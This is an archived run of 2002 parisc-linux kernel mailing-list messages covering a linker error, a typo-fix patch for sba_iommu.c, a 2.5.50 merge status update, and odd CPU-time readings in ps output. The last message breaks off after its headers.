----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] flush_data_cache
Date: Thu, 28 Nov 2002 17:36:31 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021128173631.N1586@parcelfarce.linux.theplanet.co.uk>
References: <CB813811CBF6D3118DCC00902740BB4A0BA20C5F@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621980 17858 80.91.229.3 (22 Nov 2014 02:06:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:20 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 28 10:36:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5100487C
	for <parisc-linux@lists.parisc-linux.org>; Thu, 28 Nov 2002 10:36:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18HSaV-0007ft-00; Thu, 28 Nov 2002 17:36:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <CB813811CBF6D3118DCC00902740BB4A0BA20C5F@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Thu, Nov 28, 2002 at 12:05:14PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16965

On Thu, Nov 28, 2002 at 12:05:14PM -0500, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> I am trying to use this function declared in cache.h (I put this include in
> my source code) and I was obtain a linker error (undefined reference to
> `flush_data_cache_local').
> I am verify that the function flush_data_cache  um define to
> flush_data_cache_local, but I am do not identify the reason of the error.

umm.. is this a module or linked into the kernel?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Undelivered Mail Returned to Sender
Date: Fri, 29 Nov 2002 08:55:12 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <3DB5776100005893@ocpmta8.be.tiscali.com>
References: <20021129075108.79846482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621980 17860 80.91.229.3 (22 Nov 2014 02:06:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 00:55:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 960A34829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 00:55:26 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Hfze-0005zS-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 08:55:22 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 29 Nov 2002 08:55:12 +0100
In-Reply-To: <20021129075108.79846482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16966

>-- Original Message --
>Date: Fri, 29 Nov 2002 00:51:08 -0700 (MST)
>From: MAILER-DAEMON@dsl2.external.hp.com (Mail Delivery System)
>Subject: Undelivered Mail Returned to Sender
>To: jsoe0708@tiscali.be
>
>
>This is the Postfix program at host dsl2.external.hp.com.
>
>I'm sorry to have to inform you that the message returned
>below could not be delivered to one or more destinations.
>
>For further assistance, please send mail to <postmaster>
>
>If you do so, please include this problem report. You can
>delete your own text from the message returned below.
>
>			The Postfix program
>
><ftpmaster@ftp.parisc-linux.org>: mail for ftp.parisc-linux.org loops ba=
ck
>to
>    myself
>Reporting-MTA: dns; dsl2.external.hp.com
>Arrival-Date: Fri, 29 Nov 2002 00:51:08 -0700 (MST)
>
>Final-Recipient: rfc822; ftpmaster@ftp.parisc-linux.org
>Action: failed
>Status: 5.0.0
>Diagnostic-Code: X-Postfix; mail for ftp.parisc-linux.org loops back to
myself
>--- Start of the Attached Message ---
>
>Date: Fri, 29 Nov 2002 08:50:53 +0100
>From: "Joel Soete" <jsoe0708@tiscali.be>
>To: ftpmaster@ftp.parisc-linux.org
>
>
>Hi master :),
>
>I would like to consult the contents of dump_patche.2.4.19-pa22.gz (it
sounds
>like Bruno dump patch :)) ) into patches but the world has not read acce=
ss.
>Can you help?
>
>Thanks in advance,
>    Joel
>
>
Can some body help?

Thanks,
    Joel


*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-pa9
Date: Fri, 29 Nov 2002 09:17:07 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3DB57761000058B2@ocpmta8.be.tiscali.com>
References: <20021127182115.F1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621980 17862 80.91.229.3 (22 Nov 2014 02:06:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 01:17:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE6EE482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 01:17:44 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18HgLC-0005cl-00; Fri, 29 Nov 2002 09:17:38 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 29 Nov 2002 09:17:07 +0100
In-Reply-To: <20021127182115.F1586@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16967

Willy,

Thanks for release,
    Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Typo?
Date: Fri, 29 Nov 2002 10:57:50 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <3DB577610000593D@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DB577610000593D/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621981 17865 80.91.229.3 (22 Nov 2014 02:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 02:58:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8214C482D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 02:58:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Hhug-0005F1-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 10:58:22 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 29 Nov 2002 10:57:50 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16968

--=========3DB577610000593D/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

Here attached some diff which seems to be typo.

Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be




--=========3DB577610000593D/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Typo-sba_iommu.c.diff"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIwLXBhOHQvYXJjaC9wYXJpc2Mva2VybmVs
L3NiYV9pb21tdS5jIGxpbnV4LTIuNC4yMC1wYTkvYXJjaC9wYXJpc2Mva2VybmVsL3NiYV9pb21t
dS5jCi0tLSBsaW51eC0yLjQuMjAtcGE4dC9hcmNoL3BhcmlzYy9rZXJuZWwvc2JhX2lvbW11LmMJ
MjAwMi0xMS0yNiAxNTo1MjoxNS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIuNC4yMC1wYTkv
YXJjaC9wYXJpc2Mva2VybmVsL3NiYV9pb21tdS5jCTIwMDItMTEtMTggMDk6MDc6MTguMDAwMDAw
MDAwICswMTAwCkBAIC0xMDU2LDcgKzEwNTYsNyBAQAogCQkJcHJpbnRrKEtFUk5fREVCVUcgIiAl
MmQgOiAlMDhseC8lMDV4ICVwLyUwNXhcbiIsCiAJCQkJbmVudHMsCiAJCQkJKHVuc2lnbmVkIGxv
bmcpIHNnX2RtYV9hZGRyZXNzKHN0YXJ0c2cpLCBjbnQsCi0JCQkJc2dfdmlydF9hZGRyKHN0YXJ0
c2cpLCBzdGFydHNnLT5sZW5ndGgKKwkJCQlzZ192aXJ0X2FkZHJlc3Moc3RhcnRzZyksIHN0YXJ0
c2ctPmxlbmd0aAogCQkpOwogI2Vsc2UKIAkJREJHX1JVTl9TRygiICVkIDogJTA4bHgvJTA1eCAl
cC8lMDV4XG4iLAo=

--=========3DB577610000593D/mail.tiscali.be--


From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Typo?
Date: Fri, 29 Nov 2002 15:04:11 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20021129150411.P1586@parcelfarce.linux.theplanet.co.uk>
References: <3DB577610000593D@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621981 17867 80.91.229.3 (22 Nov 2014 02:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 08:04:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 605D1482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 29 Nov 2002 08:04:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18Hmgd-0000SQ-00; Fri, 29 Nov 2002 15:04:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DB577610000593D@ocpmta8.be.tiscali.com>; from jsoe0708@tiscali.be on Fri, Nov 29, 2002 at 10:57:50AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16969

On Fri, Nov 29, 2002 at 10:57:50AM +0100, jsoe0708@tiscali.be wrote:
> Here attached some diff which seems to be typo.

patch looks correct to me.  grant?



-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status update 2002-11-29
Date: Fri, 29 Nov 2002 19:03:37 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20021129190337.W1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621981 17876 80.91.229.3 (22 Nov 2014 02:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 12:03:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A7E24831
	for <parisc-linux@parisc-linux.org>; Fri, 29 Nov 2002 12:03:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18HqQL-0005hK-00
	for parisc-linux@parisc-linux.org; Fri, 29 Nov 2002 19:03:37 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16970

We've merged 2.5.50 into our tree.  It boots on an A500 (uniprocessor)
and compiles for most common configurations.  Userspace apps still crash
a lot.  Our diff vs Linus' tree is 536k, which seems like a lot, except
that it was around 2.7MB in the 2.5.44 timeframe.  It compresses down to
about 130k which is comparable with other architectures.

For the curious, this is how it breaks down:

parisc-hil.diff  167064
parisc-misc.diff  46402
parisc-ps2.diff   60152
parisc-scsi.diff  44026
parisc-sti.diff  162164

I'm hoping Linus will take parisc-ps2.diff & parisc-misc.diff soon.
Rusty's promised to fix the module situation.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status update 2002-11-29
Date: Fri, 29 Nov 2002 14:22:26 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20021129192226.GA5760@systemhalted>
References: <20021129190337.W1586@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621981 17883 80.91.229.3 (22 Nov 2014 02:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:21 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 29 12:22:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB2244838
	for <parisc-linux@parisc-linux.org>; Fri, 29 Nov 2002 12:22:37 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18HqiY-0001i4-00; Fri, 29 Nov 2002 14:22:26 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021129190337.W1586@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16971

> We've merged 2.5.50 into our tree.  It boots on an A500 (uniprocessor)
> and compiles for most common configurations.  Userspace apps still crash
> a lot.  Our diff vs Linus' tree is 536k, which seems like a lot, except
> that it was around 2.7MB in the 2.5.44 timeframe.  It compresses down to
> about 130k which is comparable with other architectures.

Here here! :)
/me promises willy a pint

Now if only I could cleanup our userspace with such impunity :}

c.


From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPPA Proc problems?
Date: Sun, 1 Dec 2002 11:40:35 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20021201164035.GA21610@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621982 17892 80.91.229.3 (22 Nov 2014 02:06:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  1 09:40:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32F914829
	for <parisc-linux@parisc-linux.org>; Sun,  1 Dec 2002 09:40:40 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18IX91-0005dr-00
	for <parisc-linux@parisc-linux.org>; Sun, 01 Dec 2002 11:40:35 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16972

pa,

I'm seeing some weird proc behaviour, like cpu times in the
billions of seconds, but only for a transient amount of time, after
which it corrects itself. Very odd. Just doing 'ps aux www' triggers
this... and not always.

---
root       306  0.0  0.1  4996 1600 ?        S    Nov26   0:00 /usr/sbin/apache
root      7897  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7898  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7899  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7900 99.9  0.0 12992  864 ?        S    Nov27 13600729:46 /usr/sbin/nscd
                                                        ^^^^^^^^^^^ ???

root      7901  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7902  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7903  0.0  0.0 12992  864 ?        S    Nov27   0:00 /usr/sbin/nscd
root      7909  0.0  0.2  5200 3384 ?        S    Nov27   0:00 /usr/bin/X11/xfs -daemon
---
procps 3.1.0-1 The /proc file system utilities.
2.4.19-pa22, gcc-3.1.1 compiled, toolset from unstable.

Any ideas aobut this? Is anyone seeing any odd behavour? 

Berthold from SuSE was commenting about this (building SuSE on HPPA :)
and also noted that his gcc-3.3 compiled kernel has procinfo problems:
procinfo complains that it can't grok his gcc version.

--
Linux 2.4.19-pa20 (xxxx@xxx) (gcc [can't parse]) #???  1CPU [raven.]
-- Berthold's

Linux 2.4.19-pa22 (xxxx@xxx) (gcc 3.1.1 20020715 ) #5 1CPU [firin]
-- Carlos'

In sysutils/procinfo/routines.c

    269     ret = sscanf (line, "Linux version %s (%[^)]) (gcc %[^)]) #%s %[^\n]",
    270                   ver, host, gcc, compno, date);
    271 
    272     if (ret != 5)       /* Damn egcs uses nested ()'s... */
    273         ret = sscanf (line, "Linux version %s (%[^)]) (gcc %[^(] (%*[^)])) #%s %[^\n]",
    274                       ver, host, gcc, compno, date);
    275 
    276     if (ret == 3) {     /* At least we've got ver & host right... */
    277         strcpy (gcc, "[can't parse]");
    278         strcpy (compno, "???");
    279         date[0] = 0;
    280     }

Looks like it might be a regex problem?

c.



From - Thu Nov 08 21:25:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lifimage
Date: Mon, 2 Dec 2002 00:25:20 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <006301c29990$ea863700$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621982 17900 80.91.229.3 (22 Nov 2014 02:06:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:22 +0000 (UTC)
